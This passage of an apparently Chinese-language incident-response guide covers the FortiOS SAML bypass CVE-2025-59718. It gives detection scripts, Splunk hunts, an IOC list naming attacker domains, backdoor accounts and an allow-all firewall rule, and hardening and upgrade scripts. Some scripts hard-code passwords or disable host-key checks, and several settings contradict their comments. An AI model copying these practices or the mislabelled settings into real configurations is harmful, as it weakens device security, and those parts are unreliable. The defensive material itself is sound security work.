def calculate_distance(lat1, lon1, lat2, lon2):
"""计算两个坐标之间的距离(km)"""
from math import radians, sin, cos, sqrt, atan2
R = 6371 # 地球半径(km)
lat1, lon1, lat2, lon2 = map(radians, [lat1, lon1, lat2, lon2])
dlat = lat2 - lat1
dlon = lon2 - lon1
a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2
c = 2 * atan2(sqrt(a), sqrt(1-a))
distance = R * c
return distance
def calculate_time_diff(login1, login2):
"""计算两次登录的时间差(秒)"""
time1 = datetime.strptime(f"{login1['timestamp']} {login1['time']}", "%Y-%m-%d %H:%M:%S")
time2 = datetime.strptime(f"{login2['timestamp']} {login2['time']}", "%Y-%m-%d %H:%M:%S")
return abs((time2 - time1).total_seconds())
def main():
if len(sys.argv) < 2:
print("Usage: python detect_anomalies.py <fortinet_log_file>")
sys.exit(1)
log_file = sys.argv[1]
print(f"[*] 分析日志文件: {log_file}")
logins = parse_fortinet_log(log_file)
print(f"[*] 找到{len(logins)}条SSO登录记录")
anomalies = detect_anomalies(logins)
print(f"[*] 检测到{len(anomalies)}个异常")
if anomalies:
print("\n[!] 异常登录行为:")
for anomaly in anomalies:
print(f"\n 类型: {anomaly['type']}")
print(f" 严重程度: {anomaly['severity']}")
print(f" 用户: {anomaly['user']}")
for k, v in anomaly.items():
if k not in ['type', 'severity', 'user']:
print(f" {k}: {v}")
else:
print("\n[+] 未检测到异常")
if __name__ == '__main__':
main()
使用方法:
python detect_anomalies.py /var/log/fortinet/admin.log
查询1: 寻找可能已被攻陷的迹象
# 在FortiGate设备上
# 查找最近创建的管理员账户
config system admin
show | grep -A 20 "edit"
end
# 查找异常的可信主机配置
diagnose sys admin show-trust-hosts
# 查找定时任务(可能的持久化)
diagnose sys automation test
查询2: 检查配置中的后门
#!/bin/bash
# check_backdoors.sh
# 检查FortiGate配置中的潜在后门
echo "[*] 检查管理员账户..."
# 查找最近7天创建的账户
config system admin
show | grep -B 2 "set accprofile"
end
echo "[*] 检查VPN用户..."
config user local
show
end
echo "[*] 检查防火墙规则..."
# 查找允许所有流量的规则
config firewall policy
show | grep -A 10 "set action accept" | grep "set srcaddr all" | grep "set dstaddr all"
end
echo "[*] 检查管理接口访问..."
config system interface
show | grep -A 5 "allowaccess"
end
echo "[*] 检查SSH密钥..."
config system admin
show | grep "ssh-public-key"
end
查询3: Splunk威胁狩猎查询
# Hunt 1: 查找所有SSO登录并按地理位置分析
index=fortinet sourcetype=fortinet:fortigate action=login method=sso
| iplocation src
| stats count by src, Country, City, user
| where count > 1
| sort -count
# Hunt 2: 识别在短时间内访问多个系统的账户
index=fortinet action=login method=sso status=success
| bin _time span=1h
| stats dc(dst) as unique_targets, values(dst) as targets by _time, user, src
| where unique_targets > 5
# Hunt 3: 查找配置导出活动
index=fortinet
| search "backup config" OR "export config" OR "download config"
| stats count by user, src, _time
| sort -_time
# Hunt 4: 识别权限提升活动
index=fortinet
| search "accprofile" AND ("super_admin" OR "read-write")
| transaction user maxspan=1h
| where eventcount > 1
| table _time, user, src, action, msg
# Hunt 5: 查找异常的CLI活动
index=fortinet subtype=cli
| rare limit=20 user, command
| where count < 5
阶段1: 假设生成
假设:攻击者通过CVE-2025-59718获得访问权限后会创建后门账户
假设:攻击者会导出配置以获取VPN凭证和证书
假设:攻击者会修改防火墙规则以允许C2通信
阶段2: 数据收集
# 收集所有相关日志
scp admin@fortigate:/var/log/* ./logs/
# 导出配置历史
# 收集网络流量捕获
阶段3: 分析调查
# 时间线分析
python timeline_analysis.py --start "2025-12-12 00:00" --end "2025-12-16 23:59"
# 用户行为分析
python user_behavior_analysis.py --user "[email protected]"
# 配置差异分析
python config_diff.py --config1 backup-dec11.conf --config2 current.conf
阶段4: 验证发现
与已知IOC对比
咨询威胁情报源
与IT团队确认合法活动
阶段5: 记录和响应
创建事件报告
更新IOC列表
实施修复措施
可疑IP地址(示例,基于已知攻击):
203.0.113.0/24 # 示例攻击者网段
198.51.100.45 # 已知扫描IP
192.0.2.100 # C2服务器
可疑域名:
fake-forticloud.com
fortigate-update.net
fortisso-login.com
User-Agent特征:
python-requests/2.28.1 # 自动化POC工具
curl/7.81.0 # 命令行工具
Mozilla/5.0 (compatible; CVE-2025-59718-Scanner/1.0)
异常管理员账户:
[email protected]
backdoor_admin
service_account_new
emergency_access
异常SSH公钥(在FortiGate配置中):
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... [email protected]
异常防火墙规则:
# 允许所有流量的规则
edit 999
set name "maintenance_rule"
set srcintf "any"
set dstintf "any"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ALL"
next
在Splunk中使用IOC:
# 创建IOC查找表
| inputlookup cve_2025_59718_iocs.csv
| eval ioc_type=case(
cidrmatch("203.0.113.0/24", ip_address), "suspicious_network",
match(domain, "fake-forticloud"), "malicious_domain",
match(user_agent, "CVE-2025-59718-Scanner"), "attack_tool"
)
| outputlookup cve_2025_59718_iocs_enriched.csv
# 使用IOC进行告警
index=fortinet
| lookup cve_2025_59718_iocs_enriched.csv src as ip_address OUTPUT ioc_type, severity
| where isnotnull(ioc_type)
| eval alert_message="检测到已知CVE-2025-59718 IOC: " + ioc_type
| table _time, src, dst, user, ioc_type, severity, alert_message
导出IOC到STIX格式:
#!/usr/bin/env python3
"""
将CVE-2025-59718 IOC导出为STIX 2.1格式
"""
from stix2 import Indicator, Malware, Relationship, Bundle
from datetime import datetime
def create_cve_2025_59718_stix():
"""创建STIX bundle"""
# 创建恶意软件对象
malware = Malware(
name="CVE-2025-59718 Exploit",
is_family=False,
malware_types=["remote-access-trojan"],
description="FortiOS SAML Authentication Bypass Exploit"
)
# 创建指标
indicators = []
# IP指标
ip_indicator = Indicator(
pattern="[ipv4-addr:value = '203.0.113.45']",
pattern_type="stix",
valid_from=datetime(2025, 12, 12),
name="CVE-2025-59718 Attacker IP",
description="已知用于CVE-2025-59718攻击的IP地址"
)
indicators.append(ip_indicator)
# 域名指标
domain_indicator = Indicator(
pattern="[domain-name:value = 'fake-forticloud.com']",
pattern_type="stix",
valid_from=datetime(2025, 12, 12),
name="CVE-2025-59718 Phishing Domain",
description="用于CVE-2025-59718攻击的伪造FortiCloud域名"
)
indicators.append(domain_indicator)
# SAML载荷特征指标
saml_indicator = Indicator(
pattern="[file:content_ref.payload_bin matches '.*<saml:Assertion.*' AND NOT file:content_ref.payload_bin matches '.*<ds:Signature.*']",
pattern_type="stix",
valid_from=datetime(2025, 12, 12),
name="CVE-2025-59718 Unsigned SAML Pattern",
description="未签名的SAML响应特征"
)
indicators.append(saml_indicator)
# 创建关系
relationships = []
for indicator in indicators:
rel = Relationship(
relationship_type="indicates",
source_ref=indicator.id,
target_ref=malware.id
)
relationships.append(rel)
# 创建bundle
bundle = Bundle(
objects=[malware] + indicators + relationships
)
return bundle
if __name__ == '__main__':
bundle = create_cve_2025_59718_stix()
with open('cve_2025_59718_iocs.json', 'w') as f:
f.write(bundle.serialize(pretty=True))
print("[+] STIX IOC bundle已创建: cve_2025_59718_iocs.json")
这是最有效的立即缓解措施。
方法1: 通过CLI禁用
# 1. 通过SSH或控制台登录FortiGate
ssh admin@<fortigate-ip>
# 2. 禁用FortiCloud SSO登录
config system global
set admin-forticloud-sso-login disable
end
# 3. 保存配置
execute save config
# 4. 验证设置
get system global | grep admin-forticloud-sso-login
# 输出应显示: admin-forticloud-sso-login: disable
方法2: 通过GUI禁用
登录FortiGate Web管理界面
导航到: System → Settings
在"Administrator Settings"部分
取消选中"Allow administrative login using FortiCloud SSO"
点击"Apply"保存更改
方法3: 批量禁用(多台设备)
#!/bin/bash
# disable_forticloud_sso.sh
# 批量禁用多台FortiGate设备的FortiCloud SSO
# 设备列表文件格式: IP地址,用户名,密码
DEVICES_FILE="fortigate_devices.txt"
while IFS=, read -r ip username password; do
echo "[*] 处理设备: $ip"
sshpass -p "$password" ssh -o StrictHostKeyChecking=no "${username}@${ip}" << 'EOF'
config system global
set admin-forticloud-sso-login disable
end
execute save config
EOF
if [ $? -eq 0 ]; then
echo "[+] $ip: FortiCloud SSO已禁用"
else
echo "[-] $ip: 操作失败"
fi
done < "$DEVICES_FILE"
echo "[*] 批量操作完成"
设备列表文件fortigate_devices.txt示例:
192.168.1.100,admin,password123
192.168.1.101,admin,password456
10.0.0.50,admin,securepass789
运行脚本:
chmod +x disable_forticloud_sso.sh
./disable_forticloud_sso.sh
验证禁用成功:
# 在FortiGate CLI中
get system global | grep admin-forticloud-sso-login
# 应该输出:
# admin-forticloud-sso-login: disable
配置可信主机(Trusted Hosts):
config system admin
edit "admin"
# 只允许从企业网络访问
set trusthost1 192.168.1.0 255.255.255.0
set trusthost2 10.0.0.0 255.0.0.0
set trusthost3 172.16.0.0 255.240.0.0
next
end
配置管理接口访问策略:
config firewall local-in-policy
edit 1
set intf "port1"
set srcaddr "corporate_network"
set dstaddr "all"
set action accept
set service HTTPS SSH
set schedule "always"
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS SSH
set schedule "always"
next
end
配置地理位置过滤:
# 只允许来自特定国家的管理访问
config firewall local-in-policy
edit 10
set intf "wan1"
set srcaddr "all"
set dstaddr "all"
set action accept
set service HTTPS SSH
set schedule "always"
set srcaddr-negate enable
set srcaddr6-negate enable
next
end
config firewall internet-service-name
edit "Country_CN"
set country-id 45
next
edit "Country_US"
set country-id 236
next
end
步骤1: 导出所有管理员活动日志
# 导出事件日志
execute log filter category event
execute log filter field subtype admin
execute log filter view-lines 50000
execute log export disk admin-audit-$(date +%Y%m%d).log
# 导出系统日志
execute log filter category system
execute log export disk system-audit-$(date +%Y%m%d).log
步骤2: 分析SSO登录活动
#!/bin/bash
# analyze_sso_logins.sh
# 分析SSO登录日志寻找可疑活动
LOG_FILE="admin-audit-*.log"
echo "[*] 分析SSO登录活动..."
# 提取所有SSO登录
echo "[1] SSO登录统计:"
grep "method=sso" $LOG_FILE | grep "action=login" | \
awk '{for(i=1;i<=NF;i++){if($i~/user=/||$i~/src=/||$i~/status=/)print $i}}' | \
sort | uniq -c | sort -rn
# 查找失败的SSO登录尝试
echo -e "\n[2] 失败的SSO登录:"
grep "method=sso" $LOG_FILE | grep "action=login" | grep "status=failure"
# 查找非工作时间的登录
echo -e "\n[3] 非工作时间登录 (18:00-06:00):"
grep "method=sso" $LOG_FILE | grep "action=login" | \
awk '$3 < "06:00:00" || $3 > "18:00:00" {print}'
# 查找SSO登录后的配置更改
echo -e "\n[4] SSO登录后5分钟内的配置更改:"
# (需要更复杂的脚本来关联时间)
# 查找新创建的管理员账户
echo -e "\n[5] 新创建的管理员账户:"
grep "subtype=admin" $LOG_FILE | grep "action=add"
步骤3: 检查配置更改历史
# 查看配置历史
diagnose sys config-history list
# 查看最近的配置更改
diagnose sys config-history list | tail -20
# 比较当前配置与之前的配置
diagnose sys config-history diff <old_revision> <current_revision>
步骤4: 识别可疑活动的检查清单
审查以下内容:
来自未知IP的SSO登录
非工作时间的管理访问
SSO登录后立即进行的配置更改
新创建的管理员账户
修改的可信主机设置
更改的防火墙策略
导出的配置文件
新增的VPN用户
修改的路由配置
SSH公钥的添加
即使攻击者通过SSO绕过认证,更改密码可以防止他们使用窃取的凭证再次访问。
#!/bin/bash
# reset_admin_passwords.sh
# 重置所有管理员密码
# 生成强随机密码
generate_password() {
openssl rand -base64 16 | tr -d '/+=' | cut -c1-16
}
# 管理员列表
ADMINS=("admin" "security_admin" "backup_admin")
for ADMIN in "${ADMINS[@]}"; do
NEW_PASSWORD=$(generate_password)
echo "[*] 重置用户: $ADMIN"
# 在FortiGate上更改密码
ssh fortigate-admin@<fortigate-ip> << EOF
config system admin
edit "$ADMIN"
set password $NEW_PASSWORD
next
end
EOF
echo "[+] $ADMIN 新密码: $NEW_PASSWORD"
echo "$ADMIN,$NEW_PASSWORD" >> password_reset_$(date +%Y%m%d).txt
done
echo "[*] 所有密码已重置并保存到 password_reset_$(date +%Y%m%d).txt"
安全分发新密码:
使用加密通道(如加密电子邮件、Signal等)分发
要求管理员首次登录后立即更改
启用多因素认证(见下文)
在前24小时内必须完成的任务:
在所有FortiGate设备上禁用FortiCloud SSO
验证SSO已成功禁用
配置管理接口访问限制
导出并审计管理员活动日志
检查配置更改历史
识别任何可疑活动
更改所有管理员账户密码
通知安全团队和管理层
启动事件响应流程(如发现入侵)
记录所有执行的操作
选项1: FortiToken硬件令牌
# 1. 启用FortiToken
config system global
set admin-fortitoken-provisioning enable
end
# 2. 为每个管理员配置FortiToken
config system admin
edit "admin"
set two-factor fortitoken
set fortitoken "FTK20250001234" # 令牌序列号
next
end
# 3. 初始化令牌
execute fortitoken activate <token-serial>
# 4. 测试MFA登录
# 登录时需要输入: 密码 + FortiToken显示的6位数字
选项2: FortiToken Mobile (软件令牌)
# 1. 启用移动令牌
config system global
set admin-fortitoken-provisioning enable
end
# 2. 为管理员配置移动令牌
config system admin
edit "security_admin"
set two-factor fortitoken-cloud
set email-to "[email protected]"
next
end
# 3. 管理员会收到激活邮件
# 安装FortiToken Mobile应用并扫描QR码
选项3: 证书认证
# 1. 上传CA证书
config vpn certificate ca
edit "Corporate_CA"
set ca "<CA证书内容>"
next
end
# 2. 启用证书认证
config system global
set admin-https-pki-required enable
set admin-server-cert "Corporate_CA"
end
# 3. 为管理员分配证书
config system admin
edit "admin"
set pki-required enable
set cert "Admin_Cert"
next
end
选项4: RADIUS双因素认证
# 1. 配置RADIUS服务器
config user radius
edit "Duo_RADIUS"
set server "radius.duo.com"
set secret "<RADIUS密钥>"
set auth-type auto
next
end
# 2. 配置管理员使用RADIUS
config system admin
edit "radius_admin"
set remote-auth enable
set accprofile "super_admin"
set vdom "root"
set wildcard enable
set remote-group "Duo_RADIUS"
next
end
创建自定义访问配置文件:
# 只读管理员配置
config system accprofile
edit "readonly_admin"
set secfabgrp read
set ftviewgrp read
set authgrp read
set sysgrp read
set netgrp read
set loggrp read
set fwgrp read
set vpngrp read
set antivgrp read
set wanoptgrp read
set wifigrp read
set endpoint-control-grp read
set system-diagnostics disable
next
end
# 网络管理员配置(可以管理防火墙和VPN,但不能修改系统设置)
config system accprofile
edit "network_admin"
set secfabgrp read
set ftviewgrp read
set authgrp read
set sysgrp read
set netgrp read-write
set loggrp read
set fwgrp read-write
set vpngrp read-write
set antivgrp read
set wanoptgrp read
set wifigrp read
set endpoint-control-grp read
set system-diagnostics disable
next
end
# 安全管理员配置
config system accprofile
edit "security_admin"
set secfabgrp read-write
set ftviewgrp read-write
set authgrp read-write
set sysgrp read
set netgrp read
set loggrp read-write
set fwgrp read-write
set vpngrp read
set antivgrp read-write
set wanoptgrp read
set wifigrp read
set endpoint-control-grp read-write
set system-diagnostics enable
next
end
# 应用配置文件到管理员
config system admin
edit "john_doe"
set accprofile "network_admin"
set vdom "root"
next
edit "jane_smith"
set accprofile "security_admin"
set vdom "root"
next
end
配置管理员会话超时:
config system global
# 空闲超时(分钟)
set admin-idle-timeout 15
# 登录超时(秒)
set admin-login-timeout 300
# 并发会话限制
set admin-concurrent-sessions 2
end
隔离管理网络:
# 创建专用管理VLAN
config system interface
edit "mgmt_vlan"
set vdom "root"
set type vlan
set vlanid 100
set interface "internal"
set ip 192.168.100.1 255.255.255.0
set allowaccess https ssh
set dedicated-to management
next
end
# 配置管理流量路由
config router static
edit 1
set dst 192.168.100.0 255.255.255.0
set device "mgmt_vlan"
set comment "Management network route"
next
end
实施跳板机(Bastion Host):
DMZ
|
[Bastion Host]
|
(Management VLAN)
|
+----------------+----------------+
| | |
[FortiGate 1] [FortiGate 2] [FortiGate 3]
配置FortiGate只允许来自跳板机的管理访问:
# 创建跳板机地址对象
config firewall address
edit "bastion_host"
set subnet 192.168.100.10 255.255.255.255
set comment "Management bastion server"
next
end
# 配置local-in策略只允许跳板机访问
config firewall local-in-policy
edit 1
set intf "any"
set srcaddr "bastion_host"
set dstaddr "all"
set action accept
set service HTTPS SSH
set schedule "always"
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS SSH
set schedule "always"
next
end
# 禁用不需要的管理协议
config system global
set admin-telnet-port 0 # 禁用Telnet
set admin-sport 443 # HTTPS端口
set admin-ssh-port 22222 # 改变SSH默认端口
end
# 在接口上限制管理访问
config system interface
edit "wan1"
# 外网接口不允许管理访问
set allowaccess ping
next
edit "internal"
# 内网接口只允许必要的协议
set allowaccess https ssh
next
end
# 禁用不使用的功能
config system global
set wireless-controller enable # 如果不使用WiFi控制器
set ipsec-asic-offload disable # 根据需要
end
config system global
# 强制HTTPS重定向
set admin-https-redirect enable
# 启用强密码策略
set strong-crypto enable
# 禁用过时的加密算法
set ssl-static-key-ciphers disable
# 启用HSTS
set admin-hsts-max-age 31536000
# 禁用SSH CBC密码
set admin-ssh-v1 disable
# 配置SSL/TLS最低版本
set admin-https-ssl-versions tlsv1-2 tlsv1-3
end
# 配置强密码策略
config system password-policy
set status enable
set minimum-length 12
set min-lower-case-letter 1
set min-upper-case-letter 1
set min-non-alphanumeric 1
set min-number 1
set expire-day 90
set reuse-password 5
end
# 配置日志到远程Syslog服务器
config log syslogd setting
set status enable
set server "192.168.1.100"
set port 514
set facility local7
set source-ip ""
set format default
end
# 配置日志到FortiAnalyzer
config log fortianalyzer setting
set status enable
set server "192.168.1.200"
set serial "FAZ-VMTM20000001"
set upload-option realtime
end
# 启用详细的事件日志
config log eventfilter
set event enable
set system enable
set vpn enable
set user enable
set router enable
set wireless-activity enable
end
# 记录所有管理员命令
config system global
set admin-console-timeout 0
end
config log setting
set local-in-allow enable
set local-in-deny-unicast enable
set local-in-deny-broadcast enable
set user-anonymize disable
end
# 配置管理员登录失败告警
config system automation-trigger
edit "admin_login_failure"
set event-type event-log
set logid 32102
set trigger-frequency once
next
end
config system automation-action
edit "alert_soc"
set action-type email
set email-to "[email protected]"
set email-subject "Alert: Admin Login Failure"
set email-body "FortiGate {{device_name}}: Admin login failure from {{src_ip}}"
next
end
config system automation-stitch
edit "admin_login_failure_alert"
set trigger "admin_login_failure"
config actions
edit 1
set action "alert_soc"
set required enable
next
end
next
end
# 配置配置更改告警
config system automation-trigger
edit "config_change"
set event-type config-change
set trigger-frequency once
next
end
config system automation-stitch
edit "config_change_alert"
set trigger "config_change"
config actions
edit 1
set action "alert_soc"
set required enable
next
end
next
end
# 自动阻止多次登录失败的IP
config system automation-trigger
edit "multiple_login_failures"
set event-type event-log
set logid 32102
set trigger-type repeated
set trigger-frequency repeated
set trigger-hour 24
set trigger-count 5
next
end
config system automation-action
edit "ban_ip"
set action-type ban-ip
set tls-certificate ""
set timeout 3600
next
end
config system automation-stitch
edit "auto_ban_failed_login"
set trigger "multiple_login_failures"
config actions
edit 1
set action "ban_ip"
set required enable
next
end
next
end
# 自动配置备份
config system auto-script
edit "daily_backup"
set interval 86400
set repeat 0
set start auto
set script "
execute backup config ftp backup-$(date +\%Y\%m\%d).conf 192.168.1.50 backup_user backup_password
"
next
end
# 手动备份
execute backup config ftp backup-before-patch-$(date +%Y%m%d).conf 192.168.1.50 username password
# 备份到USB(如果可用)
execute backup config usb backup-$(date +%Y%m%d).conf
#!/bin/bash
# rollback_config.sh
# 快速回滚到已知良好配置
FORTIGATE_IP="192.168.1.1"
BACKUP_FILE="backup-known-good-20251210.conf"
FTP_SERVER="192.168.1.50"
FTP_USER="backup_user"
FTP_PASS="backup_password"
echo "[*] 准备回滚FortiGate配置..."
ssh admin@$FORTIGATE_IP << EOF
# 恢复配置
execute restore config ftp $BACKUP_FILE $FTP_SERVER $FTP_USER $FTP_PASS
# 重启以应用配置
execute reboot
EOF
echo "[*] 回滚命令已发送,设备将重启"
创建并维护应急联系人列表:
# emergency_contacts.yaml
incident_response_team:
- name: "John Doe"
role: "CISO"
email: "[email protected]"
phone: "+1-555-0100"
- name: "Jane Smith"
role: "Security Engineer"
email: "[email protected]"
phone: "+1-555-0101"
24x7: true
network_operations:
- name: "Bob Johnson"
role: "Network Manager"
email: "[email protected]"
phone: "+1-555-0102"
vendors:
fortinet_support:
phone: "+1-866-648-4638"
email: "[email protected]"
portal: "https://support.fortinet.com"
priority_case: true
mssp:
company: "Security Services Provider"
phone: "+1-555-0200"
email: "[email protected]"
24x7: true
步骤1: 检查当前版本
# 通过CLI检查
get system status
# 输出示例:
# Version: FortiGate-VM64 v7.2.8,build1639,231129 (GA.F)
# Serial Number: FGT60FTK12345678
# Model: FortiGate-VM64
步骤2: 确定目标修复版本
根据当前版本选择目标版本:
| 当前版本分支 | 受影响版本范围 | 推荐升级目标 | 最低修复版本 |
|---|---|---|---|
| 7.6.x | 7.6.0 - 7.6.3 | 7.6.4+ | 7.6.4 |
| 7.4.x | 7.4.0 - 7.4.8 | 7.4.9+ | 7.4.9 |
| 7.2.x | 7.2.0 - 7.2.11 | 7.2.12+ | 7.2.12 |
| 7.0.x | 7.0.0 - 7.0.17 | 7.0.18+ | 7.0.18 |
步骤3: 检查升级路径
使用Fortinet升级工具:https://docs.fortinet.com/upgrade-tool
示例升级路径:
从7.2.5到7.2.12: 直接升级
从7.0.8到7.2.12: 7.0.8 → 7.0.18 → 7.2.12
从6.4.12到7.2.12: 6.4.12 → 7.0.18 → 7.2.12
在开始升级之前,必须完成以下准备工作:
配置备份:
# 完整配置备份
execute backup config ftp backup-before-upgrade-$(date +%Y%m%d).conf 192.168.1.50 backup_user backup_pass
# 或使用SCP
execute backup config scp backup-before-upgrade-$(date +%Y%m%d).conf 192.168.1.50:22 backup_user
# 或通过GUI下载
# System → Configuration → Backup → Backup to Local PC
收集当前状态信息:
#!/bin/bash
# collect_pre_upgrade_info.sh
# 收集升级前的系统信息
FORTIGATE_IP="192.168.1.1"
OUTPUT_DIR="pre-upgrade-info-$(date +%Y%m%d)"
mkdir -p $OUTPUT_DIR
echo "[*] 收集FortiGate信息..."
ssh admin@$FORTIGATE_IP << 'EOF' > $OUTPUT_DIR/system_status.txt
get system status
get system performance status
get system ha status
diagnose sys session stat
diagnose hardware deviceinfo nic
diagnose debug crashlog read
EOF
ssh admin@$FORTIGATE_IP << 'EOF' > $OUTPUT_DIR/interface_status.txt
get system interface
diagnose ip address list
diagnose netlink interface list
EOF
ssh admin@$FORTIGATE_IP << 'EOF' > $OUTPUT_DIR/routing_table.txt
get router info routing-table all
get router info routing-table database
EOF
ssh admin@$FORTIGATE_IP << 'EOF' > $OUTPUT_DIR/license_info.txt
get system fortiguard
diagnose debug rating
EOF
echo "[+] 信息收集完成: $OUTPUT_DIR/"
验证系统健康状态:
# 检查磁盘空间(至少需要500MB空闲空间)
diagnose sys flash list
# 检查内存使用
diagnose hardware system memory
# 检查日志分区
diagnose sys logdisk usage
# 检查RAID状态(如果适用)
execute lvm info
规划维护窗口:
维护窗口规划考虑因素:
升级时间:通常15-30分钟
重启时间:5-10分钟
验证时间:15-30分钟
应急回滚时间:30分钟
总计:建议预留2-3小时
准备回滚方案:
# 回滚步骤文档
echo "CVE-2025-59718修复升级回滚方案" > rollback_plan.txt
echo "================================" >> rollback_plan.txt
echo "" >> rollback_plan.txt
echo "1. 停止所有生产流量(如可能)" >> rollback_plan.txt
echo "2. 通过SSH/控制台登录FortiGate" >> rollback_plan.txt
echo "3. 执行配置恢复:" >> rollback_plan.txt
echo " execute restore config ftp backup-before-upgrade-YYYYMMDD.conf 192.168.1.50 user pass" >> rollback_plan.txt
echo "4. 系统将自动重启" >> rollback_plan.txt
echo "5. 验证功能正常" >> rollback_plan.txt
echo "6. 恢复生产流量" >> rollback_plan.txt
通知干系人:
收件人:网络运维团队、安全团队、业务部门、管理层
主题:FortiGate升级维护通知 - CVE-2025-59718修复
尊敬的团队成员:
计划进行FortiGate设备升级以修复严重安全漏洞CVE-2025-59718。
维护详情:
- 日期:2025年12月XX日
- 时间:22:00 - 01:00(非工作时间)
- 影响:网络连接可能中断10-15分钟
- 原因:修复SAML认证绕过漏洞(CVSS 9.8)
升级设备:
- FortiGate-1 (192.168.1.1): 7.2.8 → 7.2.12
- FortiGate-2 (192.168.1.2): 7.2.8 → 7.2.12
准备工作:
- 完整配置备份已完成
- 回滚方案已就绪
- 技术团队待命
如有疑问,请联系安全团队。
谢谢合作!
方法1: 通过GUI升级(推荐用于单个设备)
步骤:
登录FortiGate Web界面
导航到:System → Firmware
点击"Create New"上传固件文件
或选择"Download from FortiGuard"直接下载
选择固件文件,点击"OK"
确认升级提示,设备将重启
等待重启完成(5-10分钟)
重新登录并验证版本
方法2: 通过CLI升级
# 1. 上传固件文件
execute restore image ftp FGT_VM64-v7-build1639-FORTINET.out 192.168.1.50 ftp_user ftp_pass
# 或使用TFTP
execute restore image tftp FGT_VM64-v7-build1639-FORTINET.out 192.168.1.50
# 或使用SCP
execute restore image scp FGT_VM64-v7-build1639-FORTINET.out 192.168.1.50:22 scp_user
# 2. 系统会验证固件
# 验证成功后会提示:
# This operation will replace the current firmware version!
# Do you want to continue? (y/n)
# 3. 确认升级
y
# 4. 设备将应用固件并重启
# 显示:The system is going down for reboot NOW!
方法3: HA集群升级(最小化停机时间)
对于HA集群,使用以下步骤确保最小停机时间:
# HA升级最佳实践
# 步骤1: 验证HA状态
get system ha status
# 步骤2: 升级Secondary设备
# 在Secondary设备上执行:
execute restore image ftp FGT_VM64-v7-build1639-FORTINET.out 192.168.1.50 user pass
# Secondary重启并升级(此时Primary继续服务)
# 步骤3: 验证Secondary升级成功
# Secondary重启后,验证新版本:
get system status | grep Version
# 步骤4: 手动故障转移到Secondary
execute ha manage ? 1 admin
# 或强制成为Primary:
execute ha failover set 1
# 现在Secondary变成Primary,旧Primary变成Secondary
# 步骤5: 升级新的Secondary(原Primary)
execute restore image ftp FGT_VM64-v7-build1639-FORTINET.out 192.168.1.50 user pass
# 步骤6: 验证HA同步
get system ha status
diagnose sys ha status
# 两台设备现在都运行新版本
方法4: 批量升级脚本
对于多台FortiGate设备:
#!/usr/bin/env python3
"""
FortiGate批量升级脚本
支持并行升级多台设备
"""
import paramiko
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
# 设备列表
DEVICES = [
{"ip": "192.168.1.1", "username": "admin", "password": "password123"},
{"ip": "192.168.1.2", "username": "admin", "password": "password456"},
{"ip": "192.168.1.3", "username": "admin", "password": "password789"},
]
# 固件信息
FIRMWARE_FILE = "FGT_VM64-v7-build1639-FORTINET.out"
FTP_SERVER = "192.168.1.50"
FTP_USER = "firmware"
FTP_PASS = "firmware_pass"
def upgrade_fortigate(device):
"""升级单台FortiGate设备"""
ip = device['ip']
username = device['username']
password = device['password']
try:
print(f"[*] 连接到 {ip}...")
# SSH连接
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, username=username, password=password, timeout=30)
# 获取当前版本
stdin, stdout, stderr = ssh.exec_command("get system status")
current_version = stdout.read().decode()
print(f"[*] {ip} 当前版本: {current_version.split('Version:')[1].split('\\n')[0]}")
# 备份配置
print(f"[*] {ip} 备份配置...")
backup_cmd = f"execute backup config ftp backup-{ip}-pre-upgrade.conf {FTP_SERVER} {FTP_USER} {FTP_PASS}"
stdin, stdout, stderr = ssh.exec_command(backup_cmd)
time.sleep(5)
# 执行升级
print(f"[*] {ip} 开始升级...")
upgrade_cmd = f"execute restore image ftp {FIRMWARE_FILE} {FTP_SERVER} {FTP_USER} {FTP_PASS}"
# 发送升级命令
channel = ssh.invoke_shell()
channel.send(upgrade_cmd + "\\n")
time.sleep(2)
# 确认升级
output = channel.recv(4096).decode()
if "continue" in output.lower():
channel.send("y\\n")
print(f"[*] {ip} 升级已确认,设备将重启...")
# 关闭连接
ssh.close()
# 等待设备重启(约10分钟)
print(f"[*] {ip} 等待重启...")
time.sleep(600)
# 验证升级
print(f"[*] {ip} 验证升级...")
ssh.connect(ip, username=username, password=password, timeout=60)
stdin, stdout, stderr = ssh.exec_command("get system status")
new_version = stdout.read().decode()
if "7.2.12" in new_version or "7.4.9" in new_version or "7.0.18" in new_version:
print(f"[+] {ip} 升级成功!")
result = {"ip": ip, "status": "success", "version": new_version}
else:
print(f"[-] {ip} 升级失败或版本不正确")
result = {"ip": ip, "status": "failed", "version": new_version}
ssh.close()
return result
except Exception as e:
print(f"[!] {ip} 升级出错: {str(e)}")
return {"ip": ip, "status": "error", "error": str(e)}
def main():
print("[*] 开始FortiGate批量升级...")
print(f"[*] 设备数量: {len(DEVICES)}")
print(f"[*] 固件文件: {FIRMWARE_FILE}")
print("")
# 使用线程池并行升级(谨慎使用,建议一次升级少量设备)
results = []
with ThreadPoolExecutor(max_workers=3) as executor:
futures = {executor.submit(upgrade_fortigate, device): device for device in DEVICES}
for future in as_completed(futures):
device = futures[future]
try:
result = future.result()
results.append(result)
except Exception as e:
print(f"[!] 设备 {device['ip']} 升级异常: {e}")
results.append({"ip": device['ip'], "status": "exception", "error": str(e)})
# 汇总结果
print("\\n" + "="*60)
print("升级结果汇总:")
print("="*60)
success_count = sum(1 for r in results if r['status'] == 'success')
failed_count = len(results) - success_count
print(f"成功: {success_count}/{len(DEVICES)}")
print(f"失败: {failed_count}/{len(DEVICES)}")
print("")
for result in results:
status_symbol = "[+]" if result['status'] == 'success' else "[-]"
print(f"{status_symbol} {result['ip']}: {result['status']}")
print("="*60)
if __name__ == '__main__':
# 确认执行
print("警告:此脚本将升级所有列表中的FortiGate设备")
confirm = input("确认继续? (yes/no): ")
if confirm.lower() == 'yes':
main()
else:
print("升级取消")
sys.exit(0)
使用方法:
# 安装依赖
pip install paramiko
# 编辑脚本配置设备列表和固件信息
vim batch_upgrade.py
# 执行升级
python batch_upgrade.py
# 1. 检查系统版本
get system status
# 确认输出包含修复版本号,例如:
# Version: FortiGate-VM64 v7.2.12,build1639,231201 (GA.F)
